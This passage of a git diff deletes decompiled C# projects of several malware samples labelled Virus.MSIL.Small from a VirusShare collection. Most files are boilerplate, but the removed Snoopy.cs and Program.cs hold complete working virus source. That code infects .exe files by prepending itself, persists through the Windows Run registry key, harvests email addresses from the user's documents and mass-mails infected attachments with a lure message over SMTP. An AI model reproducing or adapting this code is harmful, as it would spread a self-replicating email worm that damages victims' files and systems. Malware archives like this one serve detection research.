(MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettings.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettings.cs deleted file mode 100644 index 66aa3dfd..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.MySettings -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace nemo.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettingsProperty.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettingsProperty.cs deleted file mode 100644 index 9817c669..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.MySettingsProperty -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace nemo.My -{ - [HideModuleName] - [CompilerGenerated] - [StandardModule] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/Resources/Resources.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/Resources/Resources.cs deleted file mode 100644 index fc7e92e7..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nemo.My.Resources.Resources -// Assembly: nemo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2D9B0A6D-192E-4D73-A06F-ACACE5271DF2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace nemo.My.Resources -{ - [CompilerGenerated] - [HideModuleName] - [DebuggerNonUserCode] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) nemo.My.Resources.Resources.resourceMan, (object) null)) - nemo.My.Resources.Resources.resourceMan = new ResourceManager("nemo.Resources", typeof (nemo.My.Resources.Resources).Assembly); - return nemo.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => nemo.My.Resources.Resources.resourceCulture; - set => nemo.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Resources.resx b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.csproj deleted file mode 100644 index d3eb0593..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {2849F21E-C193-4C69-A296-5AA86E6E4EB3} - WinExe - nemo - 1.0.0.0 - nemo - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.sln deleted file mode 100644 index fba108d8..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665/Virus.MSIL.Small.g.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nemo", "Virus.MSIL.Small.g-992d8d07b3cfb9a39db36df36667d41467ea9ad1dac69c419c3c4c4cf5c37665.csproj", "{2849F21E-C193-4C69-A296-5AA86E6E4EB3}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2849F21E-C193-4C69-A296-5AA86E6E4EB3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2849F21E-C193-4C69-A296-5AA86E6E4EB3}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2849F21E-C193-4C69-A296-5AA86E6E4EB3}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2849F21E-C193-4C69-A296-5AA86E6E4EB3}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/AssemblyInfo.cs deleted file mode 100644 index 8b6b76e9..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/AssemblyInfo.cs +++ /dev/null @@ -1,6 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("1f75ac90-f2a6-4cc9-8081-1b01a57ce9d3")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Program.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Program.cs deleted file mode 100644 index f36910a0..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Program.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Snoopy.Program -// Assembly: Snoopy, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 225FC345-1E6A-4DC3-B737-1C6B8FCBFB0B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740.exe - -using System; -using System.IO; -using System.Threading; - -namespace Snoopy -{ - internal class Program - { - private static string myDir = Directory.GetCurrentDirectory(); - private static Thread t; - - private static void Main(string[] args) - { - Snoopy.Snoopy snoopy = new Snoopy.Snoopy(); - snoopy.Replicate(Program.myDir); - if (snoopy.CheckReg()) - { - Program.t = new Thread(new ThreadStart(snoopy.Send)); - Program.t.Start(); - } - if (DateTime.Now.Day != 8) - return; - snoopy.Message(); - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Snoopy.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Snoopy.cs deleted file mode 100644 index cf702f75..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Snoopy.cs +++ /dev/null @@ -1,248 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Snoopy.Snoopy -// Assembly: Snoopy, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 225FC345-1E6A-4DC3-B737-1C6B8FCBFB0B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740.exe - -using Microsoft.Win32; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Net.Mail; -using System.Runtime.InteropServices; -using System.Text.RegularExpressions; -using System.Windows.Forms; - -namespace Snoopy -{ - internal class Snoopy - { - private string me = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName); - private string myDocs = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - private ArrayList arrEmails = new ArrayList(); - private ArrayList arInfect = new ArrayList(); - - [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern int Dns( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string strName, - int intType, - int intOpt, - int intServer, - ref IntPtr pResult, - int intReserved); - - public bool CheckReg() - { - string keyName = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; - if (!((string) Registry.GetValue(keyName, nameof (Snoopy), (object) nameof (Snoopy)) == nameof (Snoopy))) - return false; - Registry.SetValue(keyName, nameof (Snoopy), (object) this.me); - return true; - } - - public void Message() - { - int num = (int) MessageBox.Show("Infected with MSIL.Snoopy", nameof (Snoopy)); - } - - public void Replicate(string dir) - { - FileStream input1 = new FileStream(this.me, FileMode.Open, FileAccess.Read); - BinaryReader binaryReader1 = new BinaryReader((Stream) input1); - byte[] numArray1 = new byte[input1.Length]; - for (int index = 0; index < numArray1.Length; ++index) - numArray1[index] = binaryReader1.ReadByte(); - input1.Close(); - binaryReader1.Close(); - string[] files = Directory.GetFiles(dir, "*.exe"); - for (int index1 = 0; index1 < files.Length; ++index1) - { - FileStream input2 = new FileStream(files[index1], FileMode.Open, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input2); - byte[] numArray2 = new byte[input2.Length]; - for (int index2 = 0; index2 < numArray2.Length; ++index2) - numArray2[index2] = binaryReader2.ReadByte(); - binaryReader2.Close(); - input2.Close(); - if (numArray2[60] != (byte) 128) - { - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(files[index1], FileMode.Open, FileAccess.Write)); - for (int index3 = 0; index3 < numArray1.Length; ++index3) - binaryWriter.BaseStream.WriteByte(numArray1[index3]); - for (int index4 = 0; index4 < numArray2.Length; ++index4) - binaryWriter.BaseStream.WriteByte(numArray2[index4]); - binaryWriter.Close(); - input2.Close(); - this.arInfect.Add((object) files[index1]); - } - } - FileInfo fileInfo = new FileInfo(this.me); - if ((int) fileInfo.Length - 20480 <= 0) - { - int num = (int) MessageBox.Show("Not a valid win32 program", "Windows", MessageBoxButtons.OK, MessageBoxIcon.Hand); - Application.Exit(); - } - else - { - try - { - string str = (DateTime.Now.Hour + DateTime.Now.Second + DateTime.Now.Minute).ToString() + ".exe"; - FileStream fileStream = new FileStream(str, FileMode.CreateNew); - File.SetAttributes(str, FileAttributes.Hidden); - for (int index = 20480; (long) index < fileInfo.Length; ++index) - fileStream.WriteByte(numArray1[index]); - fileStream.Close(); - try - { - Process.Start(str).WaitForExit(); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show("This file is corrupt", "Windows", MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - File.Delete(str); - Application.Exit(); - } - catch (Exception ex) - { - } - } - } - - public void Send() - { - this.arrEmails = this.SearchEmails(this.myDocs, "*.*"); - ArrayList arrEmails = this.arrEmails; - arrEmails.Reverse(); - string file = this.GetFile(); - if (!(file != "") || this.arrEmails.Count <= 0) - return; - Attachment attachment = new Attachment(file); - IEnumerator enumerator = this.arrEmails.GetEnumerator(); - ArrayList arrayList = new ArrayList(); - while (enumerator.MoveNext()) - { - string address1 = Convert.ToString(enumerator.Current); - foreach (object obj in arrEmails) - { - string address2 = Convert.ToString(obj); - if (address1 != address2 && !arrayList.Contains((object) address1)) - { - arrayList.Add((object) address1); - MailAddress to = new MailAddress(address1); - MailMessage message = new MailMessage(new MailAddress(address2), to); - message.Subject = "Hey"; - message.Body = "Hey hows it going? I attached that file you were asking about. Let me know if it worKs for you or not. I'm not sure what I'm going to do the tommorow maybe get some coffee and do some shopping. Well give me a call later okay?"; - message.Attachments.Add(attachment); - string mxRecords = this.GetMXRecords(address1.Substring(address1.IndexOf("@")).Replace("@", string.Empty)); - try - { - new SmtpClient(mxRecords).Send(message); - } - catch (Exception ex) - { - } - } - } - } - attachment.Dispose(); - } - - private ArrayList SearchEmails(string dir, string fileType) - { - ArrayList arrayList = new ArrayList(); - foreach (FileInfo file in new DirectoryInfo(dir).GetFiles(fileType)) - { - Console.WriteLine(file.FullName); - StreamReader streamReader = File.OpenText(file.FullName); - string InputData; - while ((InputData = streamReader.ReadLine()) != null) - { - string addr = this.ExtractAddr(InputData); - if (addr != "" && !arrayList.Contains((object) addr) && new Regex("^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$").IsMatch(addr) && !arrayList.Contains((object) addr)) - arrayList.Add((object) addr); - } - } - return arrayList; - } - - public string ExtractAddr(string InputData) - { - int num1 = InputData.IndexOf("@", 0) + 1; - int num2 = 1; - int num3 = InputData.Length; - string addr = ""; - if (num1 == 0) - return addr; - for (int index = num1 - 1; index >= 1; --index) - { - string str = InputData.Substring(index - 1, 1); - if (str == " " | str == "<" | str == "(" | str == ":" | str == "," | str == "[") - { - num2 = index + 1; - break; - } - } - for (int index = num1 + 1; index <= InputData.Length; ++index) - { - string str = InputData.Substring(index - 1, 1); - if (str == " " | str == ">" | str == ")" | str == ":" | str == "," | str == "]") - { - num3 = index - 1; - break; - } - } - return Regex.Replace(InputData.Substring(num2 - 1, num3 - num2 + 1), "<(.|\\n)*?>", string.Empty).Replace(" ", "").Replace(" ", "").Replace("\"", ""); - } - - private string GetFile() - { - string file = ""; - if (this.arInfect.Count > 0) - { - foreach (object obj in this.arInfect) - file = Convert.ToString(obj); - } - return file; - } - - public string GetMXRecords(string host) - { - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int num = Snoopy.Snoopy.Dns(ref host, 15, 8, 0, ref zero1, 0); - string mxRecords = ""; - Snoopy.Snoopy.STRMX structure; - if (num != 0) - { - mxRecords = host; - } - else - { - for (IntPtr ptr = zero1; !ptr.Equals((object) IntPtr.Zero); ptr = structure.pNext) - { - structure = (Snoopy.Snoopy.STRMX) Marshal.PtrToStructure(ptr, typeof (Snoopy.Snoopy.STRMX)); - if (structure.sType == (short) 15) - { - string stringAuto = Marshal.PtrToStringAuto(structure.pNameEx); - if (stringAuto != "") - mxRecords = stringAuto; - } - } - } - return mxRecords; - } - - private struct STRMX - { - public IntPtr pNext; - public string strName; - public short sType; - public int intFlag; - public int intTTL; - public int intRes; - public IntPtr pNameEx; - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.csproj deleted file mode 100644 index e81366a9..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.csproj +++ /dev/null @@ -1,42 +0,0 @@ - - - - - Debug - AnyCPU - {116BB029-765B-4A5A-AC74-DABCCEA1FE6B} - WinExe - Snoopy - 0.0.0.0 - Snoopy - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.sln b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.sln deleted file mode 100644 index fd2128b1..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740/Virus.MSIL.Small.h.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Snoopy", "Virus.MSIL.Small.h-23076d3d679e7978b958427852298ee1d86e790a9898976bd84186486feef740.csproj", "{116BB029-765B-4A5A-AC74-DABCCEA1FE6B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {116BB029-765B-4A5A-AC74-DABCCEA1FE6B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {116BB029-765B-4A5A-AC74-DABCCEA1FE6B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {116BB029-765B-4A5A-AC74-DABCCEA1FE6B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {116BB029-765B-4A5A-AC74-DABCCEA1FE6B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/AssemblyInfo.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/AssemblyInfo.cs deleted file mode 100644 index 49c15f6c..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/AssemblyInfo.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("ef734abf-6273-472c-ab64-4f2fb14840cc")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyCopyright("Copyright © Xo0 ")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Form1.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Form1.cs deleted file mode 100644 index 158cd8ed..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Form1.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Form1 -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA7EE8FE-E135-42FE-898E-ADC550D85275 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.exe - -using System.ComponentModel; -using System.Windows.Forms; - -namespace test -{ - public class Form1 : Form - { - private IContainer components; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - this.AutoScaleMode = AutoScaleMode.Font; - this.Text = nameof (Form1); - } - - public Form1() => this.InitializeComponent(); - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.cs deleted file mode 100644 index 9d487d56..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Properties.Resources -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA7EE8FE-E135-42FE-898E-ADC550D85275 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace test.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - [DebuggerNonUserCode] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (test.Properties.Resources.resourceMan == null) - test.Properties.Resources.resourceMan = new ResourceManager("test.Properties.Resources", typeof (test.Properties.Resources).Assembly); - return test.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => test.Properties.Resources.resourceCulture; - set => test.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.resx b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Settings.cs b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Settings.cs deleted file mode 100644 index b21f2dc8..00000000 --- a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: test.Properties.Settings -// Assembly: test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EA7EE8FE-E135-42FE-898E-ADC550D85275 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace test.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.csproj b/MSIL/Virus/MSIL/S/Virus.MSIL.Small.i-93f15ecd9a787f306e490b3356318191254e5ad1c182149e4c7fcae04c3279b1/Virus.MSIL.Small.i.csproj deleted file mode 100644 index 8fee4a14..00000000 --- 